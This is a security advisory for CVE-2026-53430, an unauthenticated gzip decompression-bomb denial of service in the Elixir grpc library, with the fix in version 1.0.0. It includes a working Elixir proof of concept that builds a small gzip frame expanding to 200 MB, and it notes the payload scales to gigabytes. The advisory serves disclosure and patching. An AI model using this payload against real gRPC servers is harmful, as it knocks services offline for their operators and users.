highCVE-2026-53430Aug 25, 2026

CVE-2026-53430: elixir-grpc Unbounded gzip Decompression Bomb (DoS)

Pranav Khune
Penetration Testing Team Lead, SecureLayer7

Any unauthenticated attacker can crash a gRPC server built on the Elixir grpc library by sending a single tiny gzip-compressed request that expands to gigabytes in memory, killing the BEAM process.

Packagegrpc
Ecosystemerlang
Affected>= 0.4.0, < 1.0.0
Fixed in1.0.0
CVE-2026-53430: elixir-grpc Unbounded gzip Decompression Bomb (DoS)

The problem

GRPC.Compressor.Gzip.decompress/1 passes attacker-controlled bytes straight to :zlib.gunzip/1 with no size cap, ratio check, or incremental decoding. The entire decompressed result is allocated as one binary before the function returns.

The library triggers this path automatically for any request carrying the grpc-encoding: gzip header. The existing max_receive_message_length guard is checked only after decompression, so it does nothing to stop the allocation. One request from an unauthenticated caller is enough to exhaust the BEAM node's heap and trigger an OOM kill.

Proof of concept

A working proof-of-concept for CVE-2026-53430 in grpc, with the exact payload below.

elixir
# PoC published in the security advisory (verified against grpc ~> 0.9)
# Compressed bomb: ~199 KB in, ~200 MB out (1028x amplification observed in logs)

Mix.install([{:grpc, "~> 0.9"}])

uncompressed_size = 200 * 1024 * 1024
bomb_payload = :zlib.gzip(:binary.copy(<<0>>, uncompressed_size))

# gRPC length-prefixed frame: flag byte 0x01 (compressed) + 4-byte big-endian length + body
frame = <<1, byte_size(bomb_payload)::unsigned-integer-32, bomb_payload::binary>>

# This is the exact call the server request pipeline makes on an incoming HTTP/2 DATA frame.
{:ok, decompressed} =
  GRPC.Message.from_data(%{compressor: GRPC.Compressor.Gzip}, frame)

IO.puts("Decompressed size: #{byte_size(decompressed)} bytes")
# Output: Decompressed size: 209715200 bytes  (200 MB from a 199 KB wire payload)

The root cause is CWE-409: :zlib.gunzip/1 allocates the full decompressed output as a single binary with no upper bound. A few kilobytes of repeated zeros compress at roughly 1000:1, so a ~200 KB gzip frame expands to 200 MB in one call; scaling to gigabytes needs only a larger zero-filled input.

The patch (commit 1afbab9, PR #543) replaced the bare :zlib.gunzip/1 call with an incremental streaming decoder that accumulates output in chunks and aborts with an error once the total exceeds max_decompressed_message_length (default 4 MB, matching gRPC-Go). This kills the amplification before the binary grows unbounded.

The fix

Upgrade to grpc 1.0.0 or later. The default cap is 4 MB; raise it via Application.put_env(:grpc, :max_decompressed_message_length, bytes) only if your application legitimately needs larger messages. All versions from 0.4.0 up to and excluding 1.0.0 are affected.

Reported by PJUllrich.

References: [1][2][3][4][5][6]

Related research